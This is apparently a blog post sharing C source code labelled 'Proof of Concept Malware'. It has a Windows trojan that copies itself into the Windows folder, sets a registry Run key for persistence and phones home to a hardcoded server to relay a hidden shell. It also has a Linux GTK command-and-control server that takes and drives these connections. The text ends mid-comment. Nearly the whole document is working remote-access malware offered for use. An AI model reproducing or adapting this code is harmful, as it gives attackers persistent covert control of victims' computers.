Proof of Concept Malware
Trojan Horse : Creates a shell and phone home to redirect input and output.
//#include “stdafx.h”
#include “trojano.h”
#include <string.h>
#include <stdio.h>#define MAX_LOADSTRING 100
#define TIEMPOTIMEOUT 60
#define MAXTIMEOUTS 3
#define BUFSIZE 15000
#define MAXPATH 255
#define PUERTO “3200”
#define DIRSERVIDOR “destino.domain.com\0”
#define DIRSERVIDOR2 “localhost\0”
#define DIRDESTINO “c:\\Windows\\Winhost.exe\0”
#define ADDR “127.0.0.1”
#define DELAY 500
#define BLOQUEO 3 // 0 Bloking sockets <>0 NON bloking sockets
#define MAGICWORD “salida123\n\0”
#define ALIVE “echo hola\n\0”
#define CAMBIOTERM “changetty”
#define KEEPALIVE “keepalive123\n\0” ;HANDLE ENTRADAESTANDAR = NULL ;
HANDLE SALIDAESTANDAR = NULL ;
HANDLE entradaLectura = NULL;
HANDLE entradaEscritura = NULL;
HANDLE salidaLectura = NULL;
HANDLE salidaEscritura = NULL;
HANDLE FICHERO = NULL ;HANDLE hThread = NULL ;
HANDLE hInputWrite ;
DWORD ThreadId;
HANDLE hThread2 = NULL ;
HANDLE hInputWrite2 ;
DWORD ThreadId2;HANDLE hThread3 = NULL ;
HANDLE hInputWrite3 ;
DWORD ThreadId3;WSADATA wsaData;WORD version;
SOCKET server = INVALID_SOCKET ;
char bufferprueba[255] ;
DWORD pruebaaescribir = 50 ;
DWORD pruebaescritos = 0 ;bool inicializar_sockets (void) ;
int conexion() ;
DWORD WINAPI crearproceso (LPVOID lpParam) ;
void crearfichero (LPCSTR fichero) ;
DWORD WINAPI PipeToSocket(LPVOID lpParam) ;
//void crearproceso (void) ;
void PipeToSalida(void) ;
DWORD WINAPI EntradaToPipe(LPVOID lpParam) ;
void enviadatos (void) ;
DWORD WINAPI SocketToPipe(LPVOID lpParam) ;
int encuentracadena (char *cadena,char *subcadena) ;
void Presentacion() ;
void registro (char *pathdestino) ;
void copyme () ;//int _tmain (int argc, LPTSTR argv[])
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
SECURITY_ATTRIBUTES saAttr;
BOOL exito = false ;
char c = 0 ;
copyme () ;
//registro () ;
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
SALIDAESTANDAR = GetStdHandle(STD_OUTPUT_HANDLE);
ENTRADAESTANDAR = GetStdHandle(STD_INPUT_HANDLE);
if (
(SALIDAESTANDAR == INVALID_HANDLE_VALUE) ||
(ENTRADAESTANDAR == INVALID_HANDLE_VALUE)
)
ExitProcess(1);
if (! (CreatePipe(&salidaLectura, &salidaEscritura, &saAttr, 0) )) printf (“%s”,”Error Creando el Pipe Salida”) ;
if (! (CreatePipe(&entradaLectura, &entradaEscritura, &saAttr, 0) )) printf (“%s”,”Error Creando el Pipe Entrada”) ;
if ( ! SetHandleInformation(salidaLectura, HANDLE_FLAG_INHERIT, 0) )
printf (“Error en el set handle Information”) ;
if ( ! SetHandleInformation(entradaEscritura, HANDLE_FLAG_INHERIT, 0) )
printf (“Error en el set handle Information”) ;
hThread = CreateThread(NULL,0,crearproceso,
(LPVOID)hInputWrite,0,&ThreadId);
if (hThread == NULL) printf (“%s”,”Error al crear el Thread”) ;
while (true) {
inicializar_sockets () ;
conexion () ;
hThread2 = CreateThread(NULL,0,SocketToPipe,
(LPVOID)hInputWrite2,0,&ThreadId2);
if (hThread2 == NULL) printf (“%s”,”Error al crear el Thread EntradaToPipe”) ;
hThread3 = CreateThread(NULL,0,PipeToSocket,
(LPVOID)hInputWrite3,0,&ThreadId3);
if (hThread3 == NULL) printf (“%s”,”Error al crear el Thread EntradaToPipe”) ;
FlushFileBuffers (SALIDAESTANDAR) ;
if (WaitForSingleObject(hThread2,INFINITE) == WAIT_FAILED) printf (“%s”,”WaitForSingleObject”);
/*MessageBox(NULL, “Termina el Trhead de Receive “, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
if (WaitForSingleObject(hThread3,INFINITE) == WAIT_FAILED) printf (“%s”,”WaitForSingleObject”);
/*MessageBox(NULL, “Termina el Trhead de Send”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
closesocket (server) ;
} // while true
if (WaitForSingleObject(hThread,INFINITE) == WAIT_FAILED) printf (“%s”,”WaitForSingleObject”);
return 0 ;
}
bool inicializar_sockets (void) {
int error;
version = MAKEWORD( 2, 0 );
error = WSAStartup( version, &wsaData );
/* check for error */
if ( error != 0 )
{
/* error occured */
return FALSE;
}
/* check for correct version */
if ( LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 0 )
{
/* incorrect WinSock version */
WSACleanup();
return FALSE;
}
return TRUE ;
}
void copyme () {
char path[MAXPATH] ;
char *destino = DIRDESTINO ;
int uerror ;
char *mensajetexto ;
GetModuleFileName (NULL,path,sizeof(path)) ;
//MessageBox(NULL, path,”Path para copia”,
// MB_ICONEXCLAMATION | MB_OK);
if (CopyFile (path,destino,TRUE)==0) {
uerror=GetLastError() ;
FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,NULL,uerror
,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),(LPSTR) &mensajetexto,0,NULL) ;
/*MessageBox(NULL, mensajetexto, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
}
//SetFileAttributes (destino,FILE_ATTRIBUTE_HIDDEN) ;
/*MessageBox(NULL, destino, “Dir de destino al final de copia”,
MB_ICONEXCLAMATION | MB_OK);*/
registro (destino) ;
}
void registro (char *pathdestino) {
HKEY hkey;
TCHAR buff[MAXPATH] = “AAAAAAAAAAAAAAAAAAA” ;
int len =0 ;
memset (buff,0,sizeof(buff)) ;
if (pathdestino==NULL) {
len=sizeof (buff) ;
GetCurrentDirectory(len, buff);
}
else {
strcpy_s (buff,MAXPATH,pathdestino) ;
}
/*MessageBox(NULL, buff, “Buf al comienzo”,
MB_ICONEXCLAMATION | MB_OK);*/
/*len=strlen (buff) ;
if(len > 3)
strcat_s(buff,sizeof(buff) ,”\\winhost.exe\0″);
else
strcat_s(buff,sizeof(buff),”winhost.exe\0″);
*/
/*MessageBox(NULL, buff, “Dir de destino Regedit”,
MB_ICONEXCLAMATION | MB_OK);*/
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows\\Currentversion\\Run”, 0, KEY_SET_VALUE, &hkey)!=ERROR_SUCCESS) {
MessageBox(NULL, “Error abriendo la clave”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);
}
if (RegSetValueEx (hkey, “winhost.exe”, 0, REG_SZ, (LPBYTE) buff, strlen(buff) + 1)!=ERROR_SUCCESS) {
MessageBox(NULL, “Error Estableciendo la clave”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);
}
if (RegCloseKey(hkey) !=ERROR_SUCCESS ) {
/*MessageBox(NULL, “Error Cerrando”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
}
}
int conexion() {
int iResult= 0,resultado=0 ;
int uerror= 0 ;
int flag=0 ;
u_long iMode = BLOQUEO;
fd_set regselect ;
timeval tiempo ;
struct addrinfo *result = NULL,
*ptr = NULL,
*ptr2 = NULL,
*result2 = NULL,
hints;
struct sockaddr_in *sockaddr_ipv4;
int recvbuflen = BUFSIZE ;
char *sendbuf = “this is a test\0”;
LPVOID mensajetexto = NULL ;
ZeroMemory( &hints, sizeof(hints) );
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags |= AI_CANONNAME ;
// Resolve the server address and port
iResult = getaddrinfo(DIRSERVIDOR, PUERTO, &hints, &result);
sockaddr_ipv4 = (struct sockaddr_in *) result->ai_addr;
ptr=result;
getaddrinfo(DIRSERVIDOR2, PUERTO, &hints, &result2);
sockaddr_ipv4 = (struct sockaddr_in *) result2->ai_addr;
ptr2=result2;
// Connect to server.
server = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (server == INVALID_SOCKET) {
// printf(“Error at socket(): %ld\n”, WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
return 1;
}
resultado = ioctlsocket(server, FIONBIO, &iMode);
//if (resultado != NO_ERROR) MessageBox(NULL,(LPCSTR) mensajetexto, “Error Estableciendo opciones de los sockets”,MB_ICONEXCLAMATION | MB_OK);
iResult=0 ;
regselect.fd_count=1 ;
regselect.fd_array[0]=server ;
tiempo.tv_sec=TIEMPOTIMEOUT ;
tiempo.tv_usec=0 ;
while (iResult==0) {
connect( server, ptr->ai_addr, (int)ptr->ai_addrlen);
//if (flag==0) { connect( server, ptr->ai_addr, (int)ptr->ai_addrlen); flag=1 ; }
//if (flag==1) { connect( server, ptr2->ai_addr, (int)ptr2->ai_addrlen); flag=0 ; }
iResult = select (1,NULL,®select,NULL,&tiempo) ;
/*if (iResult == SOCKET_ERROR) {
printf (“%s”,”Error en el connect\n\n”) ;
uerror=WSAGetLastError() ;
FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,NULL,uerror
,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),(LPSTR) &mensajetexto,0,NULL) ;
MessageBox(NULL,(LPCSTR) mensajetexto, “Error en conexion”,
MB_ICONEXCLAMATION | MB_OK);
}*/
Sleep (DELAY) ;
}
freeaddrinfo(result);
if (server == INVALID_SOCKET) {
printf(“Unable to connect to server!\n”);
WSACleanup();
return 1;
}
return 1 ;
}
void PipeToSalida(void)
{
DWORD dwRead, dwWritten;
CHAR chBuf[BUFSIZE];
BOOL bSuccess = FALSE;
for (;;)
{
bSuccess = ReadFile(salidaLectura, chBuf, BUFSIZE, &dwRead, NULL);
if ( ! bSuccess || dwRead == 0 ) break;
bSuccess = WriteFile(SALIDAESTANDAR, chBuf, dwRead, &dwWritten, NULL);
if ( ! bSuccess ) break;
}
// Close the pipe handle so the child process stops reading.
if ( ! CloseHandle(salidaLectura) )
printf (“%s”,”Error en el cierre del Pipe de Escritura”) ;
}
int encuentracadena (char *cadena,char *subcadena) {
char subc[BUFSIZE] ;
char cad[BUFSIZE];
char *tok = NULL ;
memset (subc,0,BUFSIZE-1) ;
memset (cad,0,BUFSIZE-1) ;
strcpy_s (cad,BUFSIZE,cadena) ;
strcpy_s (subc,BUFSIZE,subcadena) ;
tok = strtok (cad,” “) ;
while (tok != NULL) {
if ( strcmp (tok,subcadena) == 0 ) {
//MessageBox(NULL, “Cadena encontrada”,”Info”,MB_ICONEXCLAMATION | MB_OK);
return 0 ;
}
tok = strtok (NULL,” “) ;
}
return -1 ;
}
DWORD WINAPI PipeToSocket(LPVOID lpParam)
{
DWORD dwRead=0, dwWritten=0;
CHAR chBuf[BUFSIZE];
BOOL bSuccess = FALSE;
char *s1 = MAGICWORD ;
char *aliv = ALIVE ;
fd_set descrip ;
timeval tiempo ;
int timeouts=0 ;
tiempo.tv_sec=TIEMPOTIMEOUT ;
tiempo.tv_usec=0 ;
descrip.fd_count=1 ;
descrip.fd_array[0] = server ;
memset (chBuf,’\0′,sizeof(chBuf) ) ;
for (;;)
{
if (timeouts>=MAXTIMEOUTS) {
//MessageBox(NULL, “MaxTimeouts! send”, “Error!”,MB_ICONEXCLAMATION | MB_OK);
break ; }
if (select (1,NULL,&descrip,NULL,&tiempo)<=0) {
timeouts++ ;
} else {
bSuccess = ReadFile(salidaLectura, chBuf, BUFSIZE, &dwRead, NULL);
if ( ! bSuccess || dwRead == 0 ) break;
if ( encuentracadena (chBuf,s1)== 0 ) break ;
dwWritten = send(server, chBuf, (int) strlen(chBuf), 0);
if ( dwWritten <= 0 ) {
/* MessageBox(NULL, “Error en el Send”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
return -1 ;
}
}
memset (chBuf,’\0′,sizeof(chBuf) ) ;
}
return 1 ;
}
DWORD WINAPI EntradaToPipe(LPVOID lpParam)
{
DWORD dwRead, dwWritten;
CHAR chBuf[BUFSIZE];
BOOL bSuccess = FALSE;
HANDLE hParentStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
for (;;)
{
bSuccess = ReadFile( ENTRADAESTANDAR, chBuf, BUFSIZE, &dwRead, NULL);
if( ! bSuccess || dwRead == 0 ) break;
bSuccess = WriteFile(entradaEscritura, chBuf,
dwRead, &dwWritten, NULL);
if (! bSuccess ) break;
}
return 1 ;
}
int eliminanodeseado (char *buffer) {
char destino[BUFSIZE] ;
char *comando = CAMBIOTERM ;
char *comando2 = KEEPALIVE ;
int i=0 ;
//for (i=0;i<BUFSIZE-1;i++) if ((buffer[i]==3)|| (buffer[i]==4) || (buffer[i]==26)) return 1;
strcpy_s (destino,BUFSIZE,buffer) ;
char *ptoken = NULL ;
char *ptoken2 = NULL ;
ptoken=strtok (destino,” “) ;
if (strcmp (ptoken,comando)==0) return 1 ;
if (strcmp (ptoken,comando2)==0) return 1;
return 0 ;
}
DWORD WINAPI SocketToPipe(LPVOID lpParam)
{
int uerror=0,timeouts=0;
char *mensajetexto ;
DWORD dwRead, dwWritten;
char chBuf[BUFSIZE];
char buffer[BUFSIZE] ;
char *sal = MAGICWORD ;
BOOL bSuccess = FALSE;
fd_set descrip ;
timeval tiempo ;
int errortimeout=0 ;
tiempo.tv_sec=TIEMPOTIMEOUT ;
tiempo.tv_usec=0 ;
descrip.fd_count=1 ;
descrip.fd_array[0] = server ;
HANDLE hParentStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
memset (chBuf,’\0′,sizeof(chBuf)) ;
for (;;)
{
if (timeouts>=MAXTIMEOUTS) {
//MessageBox(NULL, “MaxTimeouts! Receive”, “Error!”,MB_ICONEXCLAMATION | MB_OK);
break ; }
if (select (1,&descrip,NULL,NULL,&tiempo)<=0) {
timeouts++ ;
} else {
dwRead = recv (server,chBuf,BUFSIZE,0) ;
if( dwRead==SOCKET_ERROR ) {
/*MessageBox(NULL, “Error en el Receive”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
strcpy_s (chBuf,BUFSIZE,MAGICWORD) ;
WriteFile(entradaEscritura,chBuf,sizeof (chBuf),&dwWritten,NULL);
return -1;
}
strcpy_s (buffer,BUFSIZE-1,chBuf) ;
if (eliminanodeseado(buffer)!=1) bSuccess = WriteFile(entradaEscritura,chBuf,dwRead,&dwWritten,NULL);
else { memset (chBuf,0,sizeof(chBuf)) ; bSuccess=500 ; } ;
// bSuccess = WriteFile(entradaEscritura,chBuf,dwRead,&dwWritten,NULL);
if (bSuccess==0) { uerror=GetLastError() ;
/*MessageBox(NULL, “Error en el WriteFile”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,NULL,uerror
,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),(LPSTR) &mensajetexto,0,NULL) ;
/*MessageBox(NULL, mensajetexto, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
return -1 ; }
}
memset (chBuf,’\0′,sizeof(chBuf)) ;
} // for (;;)
return 1 ;
}
void crearfichero (LPCSTR fichero) {
if (fichero==NULL) return ;
FICHERO = CreateFile (fichero,GENERIC_WRITE,
0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
if (FICHERO == INVALID_HANDLE_VALUE) {
printf (“Error en la apertura del Fihcero”) ;
printf (“%i”,GetLastError ()) ;
}
}
DWORD WINAPI crearproceso (LPVOID lpParam)
{
char path[150] ;
STARTUPINFO StartUp;
PROCESS_INFORMATION processInfo;
int dwCreationFlags = 0 ;
sprintf_s (path,”C:\\basura\\otro.exe”) ;
memset(&processInfo, 0, sizeof(processInfo));
memset(&StartUp, 0, sizeof(StartUp));
StartUp.cb = sizeof(StartUp);
StartUp.hStdError = salidaEscritura ;
StartUp.hStdOutput= salidaEscritura ;
StartUp.hStdInput = entradaLectura ;
StartUp.dwFlags |= STARTF_USESTDHANDLES;
printf (“%s\n”,”Comineza el crear proceso”) ;
dwCreationFlags |= CREATE_NO_WINDOW ;
/* if (!CreateProcess (NULL,(LPSTR) path, NULL, NULL,TRUE, dwCreationFlags, NULL, NULL, &StartUp, &processInfo))
printf( “CreateProcess2 failed (%d)\n”, GetLastError() );
else {
WaitForSingleObject (processInfo.hProcess, INFINITE);
CloseHandle (processInfo.hProcess);
CloseHandle (processInfo.hThread);
}
printf (“%s\n”,”Finaliza el crear proceso”) ;
*/
return 1 ;
}
Linux GUI GTK aplication to act as a server of trojan malware.
#include <stdio.h>
#include <gtk/gtk.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#define MAXCLIENTS 500
#define PUERTO 8888
#define MAXCLIENTS 500
#define TAMBUFFER 1024
#define NTHREADS 5
int SOCKETACTUAL=0 ;
enum
{
LIST_ITEM = 0,
N_COLUMNS
};
GtkWidget ventanas[MAXCLIENTS] ;
static void add_to_list(GtkWidget *list,const gchar *str,const gchar *str2,const gchar *str3,gpointer buffer,gpointer ventana) ;
static void insert_text( GtkTextBuffer *buffer,gchar *mensaje ) ;
static GtkWidget *create_text( void ) ;
gint delete_event( GtkWidget *widget,
GdkEvent *event,
gpointer data )
{
/* If you return FALSE in the “delete_event” signal handler,
* GTK will emit the “destroy” signal. Returning TRUE means
* you don’t want the window to be destroyed.
* This is useful for popping up ‘are you sure you want to quit?’
* type dialogs. */
g_print (“delete event occurred\n”);
/* Change TRUE to FALSE and the main window will be destroyed with
* a “delete_event”. */
return(TRUE);
}
static void entry_callback( GtkWidget *widget,
GtkWidget *entry )
{
const gchar *entry_text;
gchar findel[2] = “\n\0” ;
gchar* cadenatotal ;
int tam=0 ;
int tam2=0 ;
entry_text = gtk_entry_get_text (GTK_ENTRY (entry));
tam=gtk_entry_get_text_length (GTK_ENTRY (entry));
printf (“El tamano de la cadena es %i \n”,tam) ;
printf (“Entry contents: sin cat %s\n”, entry_text);
cadenatotal=g_strconcat (entry_text,”\n”,NULL) ;
printf (“Contenido con el concat %s \n”,cadenatotal) ;
tam2=strlen (cadenatotal) ;
g_print (“tamaño cadena total %i \n”,tam2) ;
if (SOCKETACTUAL!=0) {
send (SOCKETACTUAL,cadenatotal,tam2,0) ;
// send (SOCKETACTUAL,findel,2,0) ;
}
gtk_entry_set_text (GTK_ENTRY(entry),””) ;
gtk_widget_show (entry) ;
}
GtkWidget *crearventana (char *nombreventana) {
GtkWidget *window ;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), “Ventana Hija”);
//g_signal_connect (window, “destroy”,
// G_CALLBACK (gtk_main_quit), NULL);
g_signal_connect (window, “delete-event”,
G_CALLBACK (delete_event), NULL);
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
gtk_widget_set_size_request (GTK_WIDGET (window), 550, 500);
//gtk_container_add (GTK_CONTAINER (window), texto);
return window ;
}
void
view_onRowActivated (GtkTreeView *treeview,
GtkTreePath *path,
GtkTreeViewColumn *col,
gpointer userdata)
{
GtkTreeModel *model;
GtkTreeIter iter;
GtkWidget *window ;
GtkWidget *swindow ;
GtkTextBuffer *buffert ;
GtkWidget *cajatexto ;
GtkWidget *list ;
int socket = 0 ;
gchar *name ;
g_print (“A row has been double-clicked!\n”);
if (userdata!=NULL) {
g_print (“Se ha ejecutado!\n”);
model = gtk_tree_view_get_model(treeview);
gtk_tree_model_get_iter(model, &iter, path) ;
gtk_tree_model_get(model, &iter, 0 , &name, -1);
g_print (“Double-clicked row contains name %s\n”, name);
g_print (“En entero es %i \n”,atoi(name) ) ;
SOCKETACTUAL=atoi(name) ;
gtk_tree_model_get(model, &iter, 4 , &window, -1);
// gtk_widget_show (window);
// gtk_window_present ((GtkWindow*)window) ;
gtk_tree_model_get(model, &iter, 3 , &buffert, -1);
cajatexto = gtk_bin_get_child(GTK_BIN(userdata));
gtk_text_view_set_buffer ((GtkTextView *)cajatexto,buffert);
g_free(name);
}
}
anadir_conexion_interfaz (gpointer vpaned,int socket,char *adress,int port,gpointer buffer) {
GtkWidget *list;
GtkWidget *text;
GtkWidget *ScrolledWindow ;
GtkWidget *ventana ;
GtkTextBuffer *buffert ;
char direcciontotal[255] ;
char socketentexto[255] ;
char puertoentexto[255] ;
ScrolledWindow=gtk_paned_get_child1 ((GtkPaned *)vpaned) ;
text=gtk_paned_get_child2 ((GtkPaned *)vpaned) ;
list = gtk_bin_get_child(GTK_BIN(ScrolledWindow));
printf (“Direccion %s \n”,adress) ;
fflush (stdout) ;
sprintf (direcciontotal,”Socket: %i Direccion: %s puerto %i “,socket,adress,port) ;
sprintf (socketentexto,”%i”,socket) ;
sprintf (puertoentexto,”%i”,port) ;
ventana=crearventana (“Ventana”) ;
//ventana==create_text () ;
//buffert=gtk_text_buffer_new (NULL) ;
//gtk_widget_show (ventana);
add_to_list (list,socketentexto,adress,puertoentexto,buffer,(GtkWidget *)ventana) ;
}
void anadir_buffer_interfaz (gpointer vpaned,int socket,gpointer buffer){
GtkWidget *ScrolledWindow ;
GtkWidget *list;
GtkTreeIter iter;
GtkTreeModel *model;
gboolean valid=TRUE ;
GtkListStore *liststore ;
gchar *socket_texto ;
GtkTextBuffer *bufanadir ;
GtkTextIter ei ;
ScrolledWindow=gtk_paned_get_child1 ((GtkPaned *)vpaned) ;
list = gtk_bin_get_child(GTK_BIN(ScrolledWindow));
model = gtk_tree_view_get_model((GtkTreeView *) list);
valid = gtk_tree_model_get_iter_first(model, &iter);
while (valid)
{
gtk_tree_model_get(model, &iter, 0 , &socket_texto,3,&bufanadir,-1);
g_print (“El socket en Texto es %s\n”, socket_texto);
if (atoi(socket_texto)==socket) {
gtk_text_buffer_get_end_iter(bufanadir, &ei);
gtk_text_buffer_insert(bufanadir, &ei, buffer, -1);
}
valid = gtk_tree_model_iter_next(model, &iter);
}
}
recibe_conexiones (gpointer vpaned) {
char buffer[TAMBUFFER] ;
GtkTextBuffer *TextBuff ;
int i=0 ;
int s=0 ;
int activity=0 ;
int addrlen = 0 ;
int valread=0 ;
int on=1 ;
int rc=0 ;
int client_socket[MAXCLIENTS] ;
int master_socket = 0 ;
struct sockaddr_in address;
int new_socket = 0 ;
fd_set readfds;
fd_set masterfds;
//char buffer[TAMBUFFER] ;
int maxc=0 ;
int max_sd=0 ;
struct timeval timeout;
printf (“Comineza Recibe conexiones\n”) ;
fflush (stdout) ;
FD_ZERO(&readfds);
FD_ZERO(&masterfds) ;
timeout.tv_sec = 1 * 8;
timeout.tv_usec = 0;
for (i = 0; i < MAXCLIENTS; i++) client_socket[i] = 0;
if( (master_socket = socket(AF_INET , SOCK_STREAM , 0)) == 0)
{
perror(“socket failed”);
return -1 ;
}
max_sd=master_socket ;
rc = ioctl(master_socket, FIONBIO, (char *)&on);
if (rc < 0)
{
perror(“ioctl() failed”);
close(master_socket);
exit(-1);
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = htonl(INADDR_ANY);
address.sin_port = htons( PUERTO );
if (bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0) { perror(“bind failed”); fflush (stderr) ; return (-1) ; }
printf (“Seguir 1\n”) ;
fflush (stdout) ;
addrlen = sizeof(address);
if (listen (master_socket,10)<0) { perror (“Error en listen\n”) ; }
FD_SET(master_socket, &masterfds);
maxc++ ;
printf (“Añadiendo Sokcet master %i a las posicion %i \n”,master_socket,maxc) ;
puts(“Waiting for connections…”);
while(TRUE)
{
memcpy(&readfds, &masterfds, sizeof(masterfds));
// printf (“Se ha ha hacer el select\n”) ;
fflush (stdout) ;
fflush (stdout) ;
fflush (stdout) ;
fflush (stdout) ;
fflush (stdout) ;
activity = select( max_sd + 1 , &readfds , NULL , NULL , &timeout);
if ((activity < 0) && (errno!=EINTR)) printf(“select error”);
if (FD_ISSET(master_socket, &readfds))
{
if ((new_socket = accept(master_socket, (struct sockaddr *)&address, (socklen_t*)&addrlen))<0)
{
perror(“accept”);
return (-1) ;
}
printf(“New connection , socket fd is %d , ip is : %s , port : %d \n” , new_socket , inet_ntoa(address.sin_addr) , ntohs(address.sin_port)) ;
TextBuff=gtk_text_buffer_new (NULL) ;
anadir_conexion_interfaz (vpaned,new_socket,inet_ntoa(address.sin_addr),ntohs(address.sin_port),(gpointer) TextBuff) ;
if (client_socket[maxc]==0) {
client_socket[maxc] = new_socket ;
maxc++ ;
FD_SET (new_socket,&masterfds) ;
printf (“Anadiento socket cliente %i a las pos %i”,new_socket,maxc) ;
fflush (stdout) ;
if (new_socket > max_sd) max_sd = new_socket ;
}
} else {
for (i = 0; i < maxc; i++)
{
s = client_socket[i];
// printf (“Socket %i Posicion %i”,s,i) ;
if (FD_ISSET( s , &readfds))
{
printf (“Datos en Socket cliente %i \n”,s) ;
printf (“Va a leer\n”) ;
fflush (stdout) ;
//Check if it was for closing , and also read the incoming message
if ((valread = recv(s, buffer, sizeof(buffer), 0)) == 0)
{
//Somebody disconnected , get his details and print
getpeername(s , (struct sockaddr*)&address , (socklen_t*)&addrlen);
printf(“Host disconnected , ip %s , port %d \n” , inet_ntoa(address.sin_addr) , ntohs(address.sin_port));
fflush (stdout) ;
close (s) ;
client_socket[i] = 0;
} else
{ printf (“Se ha recibido algo\n”) ;
printf (“%s”,buffer) ;
fflush (stdout) ;
//añadir buffer a interfa
anadir_buffer_interfaz (vpaned,s,buffer) ;
memset (buffer,0,sizeof(buffer)) ;
}
}
}
}
} // Del While TRUE
return 0 ;
}
/* Create the list of “messages” */
static void
add_to_list(GtkWidget *list,const gchar *str,const gchar *str2,const gchar *str3,gpointer buffer,gpointer ventana)
{
GtkListStore *store;
GtkTreeIter iter;
store = GTK_LIST_STORE(gtk_tree_view_get_model
(GTK_TREE_VIEW(list)));
gtk_list_store_append(store, &iter);
gtk_list_store_set(store, &iter, 0, str,1,str2,2,str3,3,buffer,4,ventana,-1);
}
static void
init_list(GtkWidget *list)
{
GtkCellRenderer *renderer;
GtkTreeViewColumn *column;
GtkListStore *store;
renderer = gtk_cell_renderer_text_new();
column = gtk_tree_view_column_new_with_attributes(“List Items”,
renderer, “text”, LIST_ITEM, NULL);
gtk_tree_view_append_column(GTK_TREE_VIEW(list), column);
store = gtk_list_store_new(N_COLUMNS, G_TYPE_STRING);
gtk_tree_view_set_model(GTK_TREE_VIEW(list),
GTK_TREE_MODEL(store));
g_object_unref(store);
}
static GtkWidget *crear_lista_arbol (void) {
GtkWidget *tree ;
GtkWidget *vbox ;
GtkWidget *label;
tree = gtk_tree_view_new();
gtk_tree_view_set_headers_visible(GTK_TREE_VIEW(tree), FALSE);
init_list(tree);
return tree ;
}
static GtkWidget *create_list( GtkWidget *swindow)
{
GtkWidget *scrolled_window;
GtkWidget *tree_view;
GtkListStore *model;
GtkTreeIter iter;
GtkCellRenderer *cell,*cell2,*cell3;
GtkTreeViewColumn *column;
GtkTreeViewColumn *column2;
GtkTreeViewColumn *column3;
int i;
/* Create a new scrolled window, with scrollbars only if needed */
scrolled_window = gtk_scrolled_window_new (NULL, NULL);
gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (scrolled_window),
GTK_POLICY_AUTOMATIC,
GTK_POLICY_AUTOMATIC);
model = gtk_list_store_new (5, G_TYPE_STRING,G_TYPE_STRING,G_TYPE_STRING,G_TYPE_POINTER,G_TYPE_POINTER);
tree_view = gtk_tree_view_new ();
g_signal_connect(tree_view, “row-activated”, (GCallback) view_onRowActivated,swindow );
gtk_container_add (GTK_CONTAINER (scrolled_window), tree_view);
gtk_tree_view_set_model (GTK_TREE_VIEW (tree_view), GTK_TREE_MODEL (model));
gtk_widget_show (tree_view);
/* Add some messages to the window */
cell = gtk_cell_renderer_text_new () ;
cell2 = gtk_cell_renderer_text_new ();
cell3 = gtk_cell_renderer_text_new ();
column = gtk_tree_view_column_new_with_attributes (“Socket”,
cell,
“text”, 0,
NULL);
column2 = gtk_tree_view_column_new_with_attributes (“Adress”,
cell2,
“text”, 1,
NULL);
column3 = gtk_tree_view_column_new_with_attributes (“Port”,
cell3,
“text”, 2,
NULL);
gchar *msg = g_strdup_printf (“Socket\n”);
gchar *msg2 = g_strdup_printf (“Adress\n”);
gchar *msg3 = g_strdup_printf (“Port\n”);
gtk_list_store_append (GTK_LIST_STORE (model), &iter);
gtk_list_store_set (GTK_LIST_STORE (model),&iter,0, msg,1,msg2,2,msg3,3,NULL,4,NULL,-1);
g_free (msg);
g_free (msg2) ;
g_free (msg3) ;
gtk_tree_view_append_column (GTK_TREE_VIEW (tree_view),
GTK_TREE_VIEW_COLUMN (column));
gtk_tree_view_append_column (GTK_TREE_VIEW (tree_view),
GTK_TREE_VIEW_COLUMN (column2));
gtk_tree_view_append_column (GTK_TREE_VIEW (tree_view),
GTK_TREE_VIEW_COLUMN (column3));
return scrolled_window;
}
/* Add some text to our text widget – this is a callback that is invoked
when our window is realized. We could also force our window to be
realized with gtk_widget_realize, but it would have to be part of
a hierarchy first */
void Gtktext_Append(GtkWidget *textview, gchar *text)
{
GtkTextBuffer *tbuffer;
GtkTextIter ei;
tbuffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW(textview));
gtk_text_buffer_get_end_iter(tbuffer, &ei);
gtk_text_buffer_insert(tbuffer, &ei, text, -1);
}
/*static void append_text (GtkTextBuffer *buffer,gchar *mensaje) {
GtkTextMark *mark;
GtkTextIter iter ;
mark = gtk_text_buffer_get_insert (buffer);
